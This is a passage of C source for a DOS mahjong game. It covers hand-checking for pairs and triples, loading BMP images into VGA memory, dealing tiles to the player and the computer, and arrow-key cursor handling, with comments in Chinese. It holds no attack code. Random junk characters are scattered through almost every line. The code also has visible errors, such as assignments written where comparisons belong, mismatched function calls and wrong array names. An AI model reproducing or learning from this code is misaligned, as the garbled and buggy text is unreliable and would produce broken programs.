8 j( F! e$ [4 q3 |7 A9 B" B}
2 s$ ]& d1 h' [3 K) j: O& Y0 ~6 [isthree(test,tt-2); 4 N. J; `8 Q4 y7 e9 L  y
}! Q4 t6 N& m. n  r; \. Q3 I
} ! c! ~1 }* z2 v5 M% t0 C4 n! U* t
else if(tt==9)  o; `7 m+ z. s- n* V
isthree(pt,tt);
1 }( \1 L8 d9 D8 E: A$ {, yelse if(tt==11)* z0 Z+ z6 D& f" p+ K( Y
for(i=0;i&lt;10;i++)
7 e5 |5 s2 [/ K3 o& F{
" V# I2 i! C6 j+ h: ]for(j=0;j&lt;2;j++)" {" D8 j+ m. j6 k3 a
{test[j]=pt[i+j]; 7 i9 v1 j4 ?$ L
}2 G( k/ }, w! i3 [- Y: x% ^9 X
if(istwo(test))
8 z, P" ?7 w" ~% |7 P! p{ ill=0;
$ _5 u2 J9 s  I; n2 f% Z& Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/, Z/ h) U. [0 @' U8 F* X
{if(kl==i)/ Y  ~  y/ g& j+ W1 P
{& C  o, T) D. h9 T
kl=kl+2;5 e' S; H, Q! f+ S$ P6 |) v- Z
if(kl==11)" Q. |: O# P) [
break;
& y, }1 ^, a' ?  g}
9 U, n; n% Q6 E$ J2 \test[ill++]=pt[kl];
) F2 D7 g* F4 I}
# g. R' p+ I: m6 i0 R0 }+ ^isthree(test,tt-2); 7 h) A- \) F+ u8 U, H& ^
}. z" ~& b5 _+ v% U7 |
}
- u. k0 B9 V1 q' pelse if(tt=12)
' f- {. e4 l" g5 wisthree(pt,tt);2 H, ^9 `* p. j+ r
else if(tt=14)  ]6 F' o, r  e+ D( \& K  L
for(i=0;i&lt;13;i++)
, V# Z9 r5 @* E{
# ~+ _  c$ i, q! T2 s* Vfor(j=0;j&lt;2;j++)4 _4 O2 T9 e- H( X8 C# h
{test[j]=pt[i+j];
0 r4 ]) |! h3 K- q: ~% ^3 D" o5 h}5 l3 q. i6 G4 H, i  Y/ ]& W
if(istwo(test))- B, O7 P3 M. V
{ ill=0;
% H$ y3 w: }& V# Z) r2 tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) K& S, s3 O' u# D+ V3 f{if(kl==i)6 K& Y4 O, D  m: i
{6 A, B; i7 }' l3 m
kl=kl+2;
/ M/ w$ M2 R, k) N) H: rif(kl==14)
9 ]0 a2 m6 M1 ]' ibreak;
9 F% T$ [. V2 K' j  x}$ }$ M$ u0 C. _% M" G" G# U% [$ Y
test[ill++]=pt[kl];
  L0 X& A( h3 F* b; F}
1 U! k3 J/ Y9 Z2 qisthree(test,tt-2);
! p, W7 e% C' A}
7 v( Z' K; i) Z$ h- v6 e1 ~3 f}
+ w. b( R( ?4 C0 U/ U. x; c6 o7 l% E; Xif(ii==2)
! S  Z% i$ \$ E0 h; N* o6 a5 s, distwo(pi);, I  q& b+ V0 x1 `$ b
else if(ii==3)# T4 `, H9 D" i3 q7 F
isthree(pi,ii);
( H  J9 V: j, G7 y, y& zelse if(ii==5)5 |0 j1 j5 ^& j& ^
/*pi[5]原始牌数组,假设已经升序排列*/
* E/ }- A8 E% z/*test[3]用来放置测试牌的数组*/
5 \9 l3 P, U, t9 l0 J, H4 o" nfor(i=0;i&lt;4;i++)2 i' z3 g; J6 y2 c! H. e$ o/ s
{  D! ?: h( G4 e4 o* C& q
for(j=0;j&lt;2;j++)7 t( X! w& k: [" c( H5 C
{test[j]=pi[i+j]; 8 ?; r6 V- m4 m' V) |
}, N6 |: F" f; s3 N' s
if(istwo(test))
# u" a4 p5 j6 v1 \. K- O: l{ ill=0;
7 B) C# ]0 Q  b* B4 X! Ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; x, H; U8 f/ R! l( i
{if(kl==i)
" r. A" r" C0 n' ?6 l{$ W, S  _+ J/ X1 I/ W& y9 L
kl=kl+2;8 J5 w) d& M8 N: ?" v) ?6 ?
if(kl==5)1 V6 w& C8 K+ V
break;" X, {8 j" V' b
}
: n' e# Z# a4 I' itest[ill++]=pw[kl];- J- |/ F; i+ y' o; Y9 p6 U7 X
}4 ~% `2 {0 Y6 {
isthree(test);2 |9 O* l+ v  M1 O0 K* y3 _: I
}  y; @% R: v4 ?6 t9 H8 N
}$ m6 }2 b& q+ L, R) }  [
else if(ii==6)
: ]( F+ o* {+ q1 `, O4 v3 s* A6 Eisthree(pi,ii);
4 O. n7 o, h8 ~9 w: ~8 V% Qelse if(ii==8)
$ v* O0 [. v1 ^( X! t/ E7 D3 Ffor(i=0;i&lt;7;i++)8 D/ Z! ?& E3 u- j/ ^
{
8 D% B; }1 v2 {' i  ffor(j=0;j&lt;2;j++)% l6 R7 q5 j5 H' `4 |& \( [
{test[j]=pi[i+j];
5 B, B/ N3 X' X4 K% l( s}* _" y" d6 R( C( ^# h+ C# p
if(istwo(test)); x$ Z  O* }5 I$ j6 C
{ ill=0;3 [8 d6 G7 a' r8 A% G! g( a" v
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/7 P+ }9 X: r$ \- _
{if(kl==i)0 n. h) Q1 w8 R$ n) B9 X2 d
{; g# X; ~' E6 A/ d
kl=kl+2;
8 x- d9 E% P5 m3 [% n+ M- r# N8 i4 gif(kl==8)
" A% ?: M6 A) r( U1 v, Tbreak;
" I, ], D$ A3 x( {0 o2 D4 d" m}& k7 D) T' Z8 h7 a6 R
test[ill++]=pi[kl];
1 t1 K) Z! y$ Q- {0 x}: u) [9 u* J4 I8 [1 D
isthree(test,ii-2);; z+ j5 {9 B! A0 M8 [$ n9 q
}. u, }1 j; q7 P
}
/ Y( V  N9 W3 V! M. _( S  [else if(ii==9)4 R' t$ j1 F8 q2 L
isthree(pi,ii);
5 z9 W+ v# J$ T" V3 F1 `' m( D4 Melse if(ii==11)5 D5 x$ r5 u4 s* h9 j" l. I
for(i=0;i&lt;10;i++)
: k5 C$ s% n$ ~3 \{
& j5 U+ A! R. p$ }% mfor(j=0;j&lt;2;j++)* r- y) }2 h" w6 h
{test[j]=pi[i+j]; : w8 X: i1 G$ A. p" V
}$ r* G5 e( [, P& q  R
if(istwo(test))( n5 }4 f7 i( B" k- {: Q$ Q
{ ill=0;
# U5 Q$ ?, q6 ^1 |' ^' ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
/ ]4 q! [3 `8 W$ X! z! c- j{if(kl==i)
# }5 H1 g1 g! t5 c{
! V8 a. B6 T& \0 o! h3 Bkl=kl+2;
9 `# p0 x3 r% D& Gif(kl==11), b3 M6 B9 v6 Y1 N7 S: x
break;
) O3 F3 B' y* ~* y}
/ o* |# M  l3 T2 X: M% i! ^5 Q* N3 ztest[ill++]=pi[kl];
& Y7 Y/ \" d) {0 B# w, P}
  P" q1 H2 n2 ]3 S  W8 L8 Uisthree(test,ii-2);
( z+ @  C( A4 U$ r7 A2 a}
; ~6 ^0 t2 K7 y} $ |8 T0 }) Q" f# H- @1 i+ V
else if(ii=12)
5 U+ S8 B6 }2 [: C" ?isthree(pi,ii);3 f3 z4 B! p. c2 C- }$ c
else if(ii=14). Q& y6 t! a$ Y5 y' m( R
for(i=0;i&lt;13;i++)( z  k+ l6 C% V8 H6 B: {+ J% o) r, M
{. I. {0 s0 w/ K
for(j=0;j&lt;2;j++)
  \  y! j1 I; N/ l+ b% a4 a* @  o{test[j]=pi[i+j]; 6 ^  C$ Q1 Y( E0 x
}* G1 E$ H/ A" ~6 e: L* [$ b% Q
if(istwo(test))7 c+ D& e8 c8 Q. p5 B* Z
{ ill=0;
% q4 R4 H( E, @: Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& p5 o& D9 ?2 N* J# p  K# d' k$ M
{if(kl==i)
" I! U7 w& A' h; z( A- l: @{
- o% ~& H% `% ?( F0 G$ W* ukl=kl+2;
: l6 K8 \0 ?; gif(kl==14)
4 {) n0 o: m, x* ]. Fbreak;+ o/ A% |6 M( n( e6 G- H( u
}. P) i" v: [; V) ~
test[ill++]=pi[kl];' _, F! P$ H) Y  S3 R
}& L8 H$ |" ?1 }
isthree(test,ii-2);
1 l( `4 Q3 d- U! s6 X9 m) X; w}# A* \6 s7 k: S# u5 x; j5 j5 n
}
1 T8 C* m. V" ~5 P, ^, x& fif(ff==2)
4 y- y- F9 N: m. P3 ]. ]istwo(pf);
4 {& j1 b- r# q6 F2 nelse if(ff==3)
9 l8 k3 h1 B- |, F) x# ?+ m$ O: N/ histhree(pf,ff);- q5 {  [' h2 h1 R9 |
else if(ff==5): m' D/ F0 i! E+ F* A7 Q
/*pf[5]原始牌数组,假设已经升序排列*/  x! l; O. ~( V2 l: N& [4 ]
/*test[3]用来放置测试牌的数组*/
# t: r" v8 m1 Cfor(i=0;i&lt;4;i++)9 s1 r' f1 f0 R/ h" g# A; J" Q
{8 ~; q) M  D1 H8 E
for(j=0;j&lt;2;j++)( H( a, @; g+ D8 m. Z; R# `4 `( |
{test[j]=pf[i+j]; + v9 n; }( h8 E" s
}
( |$ {# b# `. ~4 I! v! A. }+ Vif(istwo(test))
) I5 C( J0 K' N{ ill=0;$ ]2 j7 @) \1 z: X) J/ C$ w) }
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 i% u* T# l% W1 D9 I0 f
{if(kl==i)
9 p& L  o1 H. z4 h0 \{
& Z. N( B  p5 |  zkl=kl+2;; k2 L1 Y* ?0 h% A; }; A# p
if(kl==5)/ a7 D1 i. J8 o2 L* N. m
break;
, k7 v% J4 H% |0 J$ s" P0 T% G}
' g# g4 _8 Q' Y2 E* q9 y4 ?: V3 ktest[ill++]=pf[kl];3 j. a& r/ R: x% P; V
}! O2 x8 p$ I2 P: l+ U
isthree(test);* r( R( s1 l* Y' p
}
1 _% B5 l/ ?4 P  J0 t( ^7 f: C& \}
% {( Y+ l+ o1 P3 Q) z8 celse if(ff==6)
+ u' s: t8 w/ A: H( listhree(pf,ff);
/ b/ t! f8 Q6 `- G1 Zelse if(ff==8)+ O5 x0 k. x; t1 ?. ?& [4 k
for(i=0;i&lt;7;i++)
1 e# G1 T! K3 t3 U( P4 e( f{( M& K0 `8 v+ F3 s9 @
for(j=0;j&lt;2;j++)
1 ]  ]1 _, C- T{test[j]=pf[i+j];
, A- w0 P/ r4 P9 w( L; M}; V+ k- O: j+ E! |% t  q8 l& T8 D
if(istwo(test))
3 L/ J" {( T$ f2 k! \{ ill=0;' l! h1 G* Z! U# `0 k5 g' [
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
, s: }4 c( @0 D% k: R. T{if(kl==i)8 D: F: a* p* s5 X' L: J1 g
{
, }3 g  e. \* |/ b- gkl=kl+2;" {" I4 I6 T% _
if(kl==8)
4 L; G- w- o& e8 |5 a5 \break;) P0 q/ N+ }# n: E- A# ^
}
! M: `( h1 y) x, C) a+ Itest[ill++]=pf[kl];! g4 R- j0 I/ \7 {$ y, u! M3 ?
}
6 f- l5 H& @" ~& c& r3 Q3 Q! o5 o  Aisthree(test,ff-2);
0 \5 |1 `3 N- S# V) N2 j+ z}
" }5 X$ E$ |' g# O- ?3 Z& t" R. T}
* Y% o5 e# W* o6 D$ d% w5 j+ telse if(ff==9)
! t* j. ?, P; i4 Fisthree(pw,ww);
+ l& _$ r1 V, p, ^; delse if(ff==11)
  [6 ~4 H) F# t! F8 z& S( Ofor(i=0;i&lt;10;i++)- v6 ]" o& e; n$ j: y& z
{
+ ?/ Y* x% E' Y. ^( wfor(j=0;j&lt;2;j++)
9 w% z/ W( g8 r' O& Q{test[j]=pf[i+j];
) E, f0 I1 y  L. I0 |}
' {" z; C& J- q: }8 I1 Qif(istwo(test))0 w6 w/ i# m+ x" a& c
{ ill=0;
  B! Q) j5 o9 X. `5 ]8 H5 Dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* b; M7 n$ |- Q$ R# E6 }: b( g0 P9 z{if(kl==i)
* \( }5 E% O- {$ J) ]1 p+ `{! O( {  H/ ~# A) C
kl=kl+2;
* _& o" O& @# y  m! N! L( y$ iif(kl==11)
; U+ u& j- J( `9 g: R" e5 Q) Q/ Hbreak;4 O8 W6 i' g) V% I, J: n1 d; Z% Z
}
: S8 V0 P7 f, b" o  dtest[ill++]=pf[kl];
4 a$ E$ b- v5 q' l}" ~( U2 s8 S- a) g. v, h. \- n7 L
isthree(test,ff-2); ( {* }( z# J) s; _
}2 j7 h& r/ {2 T% O/ q, e5 P
}
! U9 ~0 U( S  y  j( Felse if(ff=12)
+ r+ O" m/ \0 B6 W) F: }7 Jisthree(pf,ff);
; o7 d& e1 B! v( n% g& nelse if(ff=14)1 H& [2 R# `7 L2 b* X' ~7 P
for(i=0;i&lt;13;i++)) }' O% R( r' q1 y. {5 w/ P4 U
{
. a1 A) w' f7 ?8 @4 F5 ^0 c+ @for(j=0;j&lt;2;j++)( \4 |6 h! e, R/ _8 r6 ?' Y
{test[j]=pf[i+j];
$ M- ?* _9 O. Y6 A6 R  l: E}  F) C$ f5 w  J- J1 i/ C/ d0 [' {5 {
if(istwo(test))
; A! S0 N" }9 B1 J, l* Y{ ill=0;. S' w1 A8 Q( B3 w  S, Q) M! L
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ C! M) V; a; F# v" d6 X{if(kl==i)
# V  T) C  z( p4 Z{3 W  n1 p( O1 g/ z; J  p3 E
kl=kl+2;
( ]6 a! x6 I" ~4 e8 h9 aif(kl==14)
: y. `& l; Q0 hbreak;  S* ?+ O- B) C/ \
}
) \  g- {" I2 Y) ^4 Y0 w8 Qtest[ill++]=pf[kl];
& u* l" Z  F$ h2 t+ C1 h}
+ K5 K1 X( f$ {5 {isthree(test,ff-2);; `1 O9 C& q1 N/ j4 m& C7 i
}3 t: f. X7 ^& p( {
} . g2 Y' \* [, |1 V# H
}
% H: H+ d1 B( e' x( \7 mvoid main(void)$ ]2 |# f! v* V
{: B+ j: ^' |+ h0 R" S  E! C. S6 E& y
FILE *bmp;
. r) f) p& [3 ?- ostatic char *name[2]={"ff.bmp","logo.bmp"};1 x: y3 M/ Z0 g& E  k1 s# N* i$ w
char *p;  L7 m' T% O- j$ `4 V" O
int *lingshi;
" }/ n. F. [2 L! l4 nint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
. _6 c( z8 N7 E, }' c: wint every=0,w=0,x1,x2,y1,y2,every1=0;
6 H5 k1 o; P3 qint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
2 ]+ s1 {% s: b) bBYTE palette[256][3];( I/ d( q7 P8 P! Y
SETVGA;
' a, m0 l4 [1 n, ugetch();
; J* }5 `( ~+ Iwhile(t--)
  C6 D# _8 D' }9 }# I. |: n{" E. V4 p! E  ?; [; J
bmp=fopen(name[t],"rb");9 {* A  L2 ]9 I( ?
fseek(bmp,54,SEEK_SET);& x5 M/ ^+ h  d
for(i=0;i&lt;256;i++)+ q% }- {* s% ]/ M
{
, ]' u+ v: r7 O& [9 p2 Lpalette[2]=fgetc(bmp)&gt;&gt;2;
, Z3 A8 x/ }2 M8 R' p. d. wpalette[1]=fgetc(bmp)&gt;&gt;2;0 H( D1 V0 ~- a
palette[0]=fgetc(bmp)&gt;&gt;2;
4 V! ^, b3 K- I# jfgetc(bmp);
6 {5 m& e- T& _7 rSet_Palette(i,palette[0],palette[1],palette[2]);. o/ C# B/ e' l1 p) {" N
}
. a- Y/ Z0 L( Q+ x' S5 c/ gfor (y=0;y&lt;200;y++)" z  V6 S" f. |) X
for(x=0;x&lt;320;x++)0 g8 N" U; x/ L& ]- ]
pokeb(0xa000,y*320+x,fgetc(bmp));& [, Y) j2 e9 i& c  j' N- K% z
fclose(bmp);0 P, y" ~. S0 Z
getch();* {, R' S+ Z3 ~$ I3 w% |
}" Y* {& \- b& o1 U6 {
getch();) V# w" P& f) y
fillRectangle(0,0,320,200,0);
- y% _5 I( I+ Bgetch();
. x% j0 X1 O( lrandomize();
, g3 F6 `3 j! Y6 j$ Z; h- P! Ome.m=onetothirteen;
! Y# W! J) h  O. q' g  xwhile(me.m&gt;0) /*先循环,给自己拿牌*/
! `, Q8 u: j* F) `2 d{: d2 q* Q* J: J

# o- {, A4 e0 l/ r) Dtemp=random(136);7 N: w  @$ V: V
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# E$ |5 q  {! |! G- V( V+ S{. d& ?3 U6 ?: ?; S8 n6 W
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
) V+ u. E% M  f5 Mme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
" s% G/ k8 X0 `me.pp[n].number=temp; /*第几张,用来排序*/4 I3 {' i; H& Z; [& \. A0 s' y
m[temp].data2=1; /*判断牌是谁的*/1 ^. i) P9 Q$ E5 t
kk=1;5 y: {$ r+ D7 L' f- y5 I0 i
}1 f$ o% h9 r. F
if(kk==0) /*判断如果又选择了,就从新再选*/  x: {) e5 G. S  y7 d' R1 {$ P
{
* L- K5 t1 V% }) H! mme.m++;) w# X  x' N, v$ D  I( ~' D
n--;
# a2 r8 B' D+ ]$ r}5 ?2 V; \# `$ S. I3 A
me.m--;  {$ A7 t+ m) q* Y+ c! f! t6 c0 U2 g
n++;  F* G' r+ T9 y0 d" G
kk=0;/ O0 o) [( j+ _' F4 c. R$ W
}( j/ W, O8 e! l
me.m=12;* M0 Y6 [- q# [* `0 q, ]. I
melipai(); /*理牌*/$ K8 X6 C6 ?+ m  F; ?; T

# P1 A3 m1 Z2 W, Y9 E! Nn=13;
. h* h! Y+ ~% Z3 Pwhile(l&lt;n)9 j1 |) I4 M& M( A2 H
{! C( N% k- q, q3 ^2 h& s6 G% o
z=z+20;
) [% \+ i0 j# r, Z; A0 e0 K4 ushowbmp(l);8 `  [. Y1 p/ Y% E0 B0 j
l++;- g7 r/ a" }- t2 K( P! [

3 N+ _# y1 V# q' m/ P4 ~) o& f}! k: h9 O1 N3 m% d+ H
randomize();
3 @: U8 a( Q8 W" c/ g* C4 g* h4 c( hcomputer.m=oneorthirteen;
6 p* C  M* F$ P1 p8 En=0;
. l! A, }3 G" l- O6 K: Lwhile(computer.m&gt;0) /*循环,给对方拿牌*/" c0 t) D% r, _& L" k, K
{0 v9 {! m0 j9 U: ^
temp=random(136);) P8 M; y+ ?: ~% w
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
7 d8 ]8 @$ y, V6 S; w{
/ \2 c5 }: q; W  m6 |  c. Ncomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/6 n1 S; o& {! [* c
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/- f; O0 P8 O" G+ G
computer.pp[n].number=temp; /*第几张,用来排序*/
8 v9 w+ r/ D9 X/ Lm[temp].data2=2; /*判断牌是谁的,2为电脑*/
  d. {& Z2 W" `5 u- Zkk=1;. y) x% A/ X; b( f# w: S# I
}
$ b; Q' J2 {5 ~( u1 E7 Fif(kk==0) /*判断如果又选择了,就从新再选*/# p" C* y  U& ^' n6 e6 }6 p) t6 {
{ ' _0 ^' v2 w( S- s
computer.m++;5 w+ G2 `5 b. q8 Z: s2 i- M$ o
n--;
+ q: ?. E6 a* q: `/ }# q2 X! E/ M}! h5 C, s2 u) n
computer.m--;
7 ^, E. ^' v4 K$ U' Qn++;4 Z6 }7 ]- t6 `7 q8 ~5 I
kk=0;! m% Y/ x& a3 b) S. y
}
  O" n7 _) ]) v( Qcomputer.m=12;
$ p0 `6 Q* ]) v) r& D/ @' }  |/ p) p% _comlipai(); /*电脑理牌*/6 x) S5 P& u- `* t
n=13;& Q) u) t; ~$ c& `' v9 q( @6 ]
while(ll&lt;n)
2 L6 w6 r4 _5 f{
1 W6 t& |( E  d, A% Azy=zy+20;2 h, R; B6 c  O0 w: U; B8 H
showybmp(ll);. M+ g* b$ j8 d' j8 p7 }
ll++;
0 j: D- d# p2 \+ Q. b}6 t( e% ]* Z7 c/ q. B' p8 [
3 N, i7 t6 L) t- I4 h5 @; n7 N
z=54400;
6 l. e3 |9 i3 |7 u( C4 U  F; y7 xwhile(key!=ESC)
% J- T: c# o2 ~( W: s{ + y+ C$ _" H' F( c6 {; T
( Z% s$ C! |; h8 w( }% t
keyy=bioskey(0);8 L% t3 L8 ?5 L
if(keyy==LEFT)
# X  u# l7 F$ t. Q: E1 m* p( X{ w=1;, @2 P" O" R6 T# b, W$ ]  _: J* }
if(every==0)
! L7 s/ T* x) y3 o  a* c; c# F{
4 w  i5 t( L" T0 U/ Z! E9 j9 Xevery=1;9 d, ]+ g/ C5 {+ g% T  }! s+ b2 y
z=54440-5*320;
) R0 B/ Z! _+ N7 h9 t+ |! ?; e0 Y7 r# l& X) C3 r  w* E5 u
}
" `- j$ j$ Z, L- {6 _  xzz=zz+5*320;; h* [, j9 V' V
showbmp(every);
1 @% I  S7 C/ R- U- W' ]7 \if(every==0)
0 j' U# f8 d' {2 r& ^  \{
4 ^/ r! F+ Y0 l# ~0 F4 q, e; Jx1=20;
9 N! q* i( I3 W  b# k* o+ \: xy1=165;3 w, Z; F- e0 ~: I$ R9 d0 [( Y2 {
fillRectangle(x1,y1,x1+20,y1+4,0);, N. n, c% o% g* H+ X
}
6 @" V( U; n% {% Lif(every==1)
4 U  H3 ?' j3 C* \# b{
& ^7 K% C$ x  x' Y$ y0 Yx1=40;
- w; e* p1 s1 ]" U2 Iy1=165;
# p% ?: I6 \+ _fillRectangle(x1,y1,x1+20,y1+4,0);
& L- M% w" z- \- N. ?! @* K; `}" z. Q) ^6 ?! w# t) V7 }
if(every==2)! P4 u! t& t( i8 d6 ~
{0 V- ?( p& d* d8 N
x1=60;
/ x- h2 U% {4 o0 V9 r: y8 {y1=165;
. Y4 I& N* b( D, j( M7 @fillRectangle(x1,y1,x1+20,y1+4,0);
: t0 U; K" q' ~. m}; Z4 w6 h& c2 P
if(every==3)+ U4 i& `$ y( D, I' d$ d; W
{, f, `" @2 H9 G1 u
x1=80;
' Z& x; Z: G% l. zy1=165;
2 y3 ~+ `/ [$ ]fillRectangle(x1,y1,x1+20,y1+4,0);
$ z: c; v* p8 e/ t0 \0 _( Y( l}
2 m* \/ ~# u+ G" O- p2 @if(every==4)' Q3 D' v' P2 I  {* o, I
{
# v: Q) J" d/ w9 e/ J: v8 Y) Dx1=100;8 Q+ |7 t" n/ |
y1=165;
1 {1 m- F% T/ Q3 d. HfillRectangle(x1,y1,x1+20,y1+4,0);: l2 H; |9 H8 }' d7 E
}
0 C0 d* `6 I; A2 t3 Lif(every==5), Y! i. t$ I( R* M& o- _# z
{
- ]" V# B, _: N' w- k6 X* }" Dx1=120;
1 p! t) `- ?0 q4 K+ Iy1=165;# i1 c( }9 c& j
fillRectangle(x1,y1,x1+20,y1+4,0);
; [9 ?* c! U0 }6 X}
4 b0 [3 U8 [% Iif(every==6)
# z9 S$ i4 b: g! Y5 o4 T" e6 j{
4 o. L' I3 V9 k; I+ Rx1=140;( O9 I1 }( A! V0 g" ?
y1=165;8 t: d- g! g% ?3 S8 `9 r9 T9 D0 P
fillRectangle(x1,y1,x1+20,y1+4,0);
5 \% \$ d- a8 w1 _7 J}& H  I2 @: G9 M' y3 g9 c
if(every==7)
$ [% \7 D: E7 Q6 G{
; n( Q, U$ ~" z, h" }x1=160;
2 q& l4 R. f: B+ Z7 b& v8 e* n6 N0 uy1=165;
3 y9 t2 g! U' [0 K+ QfillRectangle(x1,y1,x1+20,y1+4,0);
! x7 Y# `* |4 }}% v+ X9 ?+ D1 `1 f! Q) b7 n
if(every==8)/ D2 [5 r7 q7 I/ s
{
! v) O1 E! [! rx1=180;: p; f9 F% w% J% Y! t
y1=165;
. G' ]/ i& t% e0 tfillRectangle(x1,y1,x1+20,y1+4,0);
! ~) B& X$ L9 l/ T  F- a4 Z& t9 c}  Y  }+ j4 q1 T! N4 f5 H8 Z" H
if(every==9)( x' Q8 m6 U: I+ @, y0 s$ A; {
{
6 S- M- `5 \7 Cx1=200;0 A0 I5 C! `! r3 b- [
y1=165;: w6 W( `) s3 B6 ]
fillRectangle(x1,y1,x1+20,y1+4,0);7 R9 F$ B( Q& b. A3 O
}
% W- Y5 u: X% x1 R: }. G# cif(every==10)
0 t- P* J# k; D8 {% g% [. S{3 v2 `8 b6 _( Y" b, |
x1=220;
) |) Q$ A, y' D+ h& B' [; uy1=165;
2 Q! {9 ]) l: ?- v, V, ZfillRectangle(x1,y1,x1+20,y1+4,0);+ X8 E3 H: ]% g# _9 y
}
$ N' Q8 j2 d- B  Bif(every==11)4 J9 c3 s# @. S0 K6 Z" n. G
{
  f' E3 M' w: [: ?0 _4 ox1=240;( m/ L6 m6 Y7 t: J+ E- q8 U' k
y1=165;7 c+ A( R! Z- ?' V( V7 y
fillRectangle(x1,y1,x1+20,y1+4,0);  X, b. A. {/ W- O
}
- V' f$ M$ o3 y: l$ xif(every==12)* T- N( u4 _6 T( X" V% u! Y8 M
{
' J. ], R7 q, c; D' {) |x1=260;
# J+ \- n& Y* a7 Jy1=165;: P# B! r- r. i* A7 J& c- ?- E
fillRectangle(x1,y1,x1+20,y1+4,0);+ M9 [  ~- }; C8 d8 |. h/ p
}) c9 `) G5 l7 u# q% w
zz=0;' S2 _2 l; D: F% ^6 K/ Y
every--;6 t0 R$ P) v+ o0 ?* A( Z* f
z=z-20;+ a3 G# Y9 i7 _2 o6 e
}
  _) m- O  H7 T3 Z9 C* Iif(keyy==RIGHT)
2 q! u" w( I! Y" t* z{ if(w==0)4 ?9 X/ _- i+ |0 K
{" B6 }% X2 C/ a9 ?2 ]
z=54440-5*320;1 Z* f8 Q3 m$ g1 D' H7 m9 q
z=z-20;7 m% b3 d$ }. m
w=1;$ w2 p2 \! l0 Q- W8 w
}
: z. O- `. F9 a7 n! @+ T6 kif(every==12)
  U- Y  I9 e* O6 q4 I* \- m{
: B( M1 u! p7 E* B! P- tevery=11;7 Z7 M7 H; M/ o7 ^+ ?1 I% M0 `+ l
z=54640-5*320;  f2 w1 [9 B1 Q6 @4 D. R& e
}
  O3 p+ z7 t. N; m: fzz=zz+5*320;. T: B# O( j# y  [/ `- Y
showbmp(every);
0 ]7 J% o6 `' \7 E, A* Vif(every==0)
! P: ^. o/ v" {8 ?- ^  |% Z{
) @3 c" Q+ H2 ux1=20;
) t7 k( R8 l' c' ~y1=165;
! \" E' W+ T6 S; f8 Q) ~/ v& G8 s4 I* ofillRectangle(x1,y1,x1+20,y1+4,0);7 I3 D1 ^3 r; a* ~: \
}
6 k' f; t" ?8 x2 C& \5 Hif(every==1)
) p4 ^! X9 V7 t, h" d" `0 d3 a{
' W0 U( ?5 T& K  u; Q5 Bx1=40;( q3 i" v" a) R7 j
y1=165;
" g1 W2 s2 Z2 I# `4 afillRectangle(x1,y1,x1+20,y1+4,0);
3 g- a# j# D/ B( x}- V) ~/ [. f( N1 Q9 B" v
if(every==2)
5 q3 H, G7 k5 Y; m8 e{8 l& U% w" K0 N- G; c
x1=60;
0 e0 ]8 [4 h$ w0 q( J  c& vy1=165;
$ \( Y  @& x( R" f/ V/ [6 GfillRectangle(x1,y1,x1+20,y1+4,0);
8 Z9 }) X- K; L1 ~}
. j( ]. c" j$ T& ^: g( |2 L! Zif(every==3)
. N, v% W& z  K4 }. _; O$ L{, Y8 k& s# _3 ]# f0 w
x1=80;  z% i, A4 n1 j! v
y1=165;
8 p( o% F+ M2 }1 L+ A5 ^fillRectangle(x1,y1,x1+20,y1+4,0);4 Q: a; {4 V6 A/ y) r2 v2 e
}
: S: j# w. E  v0 y* `+ Wif(every==4)- ~" j- t4 o% J$ O$ k* K0 q
{# w# K5 @8 u0 m3 z% {2 r* \1 N
x1=100;' L! x0 D- c  I" ], }3 B
y1=165;
- |3 o& d# K" Q2 WfillRectangle(x1,y1,x1+20,y1+4,0);! l# ^1 f, X% I& A
}7 @$ Q( F* X2 Z) e
if(every==5)
) S- Z& ^/ i  [/ y{, k5 c7 d) o* X6 f
x1=120;
! y# |2 N% O6 M4 c, G. ^: S' Ty1=165;7 T" V5 M0 \) c
fillRectangle(x1,y1,x1+20,y1+4,0);
4 I5 Y8 ^* Z7 U: w}
- W/ U6 t1 s% I) x. [# Lif(every==6)  B0 ]( F; [7 ~8 \0 Z8 I0 J, ?
{
/ Y( F  d# i# O0 O: I, Mx1=140;
1 A- {: o7 n* ny1=165;
& l7 d8 c9 U0 C# T& [fillRectangle(x1,y1,x1+20,y1+4,0);& z4 `' f" u! p, y3 {- n8 C
}
9 Y! J% {! y3 B" r: U: n3 pif(every==7)
, N; h" Q+ B+ w/ D( s* R- O( G8 c{
$ e+ |" |; O1 ?0 ^4 g: q# {x1=160;; h$ d6 M( C5 T" x6 }4 c$ v! {7 A* H; ?
y1=165;: o$ Q! q- T* ~/ B6 `) v; u  f4 W
fillRectangle(x1,y1,x1+20,y1+4,0);
( q8 t; S0 O; j- B) s% I}$ u+ {( l! c# P3 n8 O$ B4 D4 O
if(every==8)
5 c* O5 E/ m+ M6 I+ K{
' i3 a: G" O" s0 Y. p- u2 Qx1=180;
5 ?' T8 S6 T; Ny1=165;
7 _1 B: a3 {( Q. f8 BfillRectangle(x1,y1,x1+20,y1+4,0);
1 Z% |3 [+ z7 {7 Y+ V9 q! Z}
9 l' p( \7 ?7 P" A: W3 a7 x3 S% Vif(every==9)
7 B+ _' ~4 c. O; }5 {{
: r. J- e6 \3 z, Px1=200;$ q/ L! B: K+ ?& a) C6 w" d# E: g# v
y1=165;
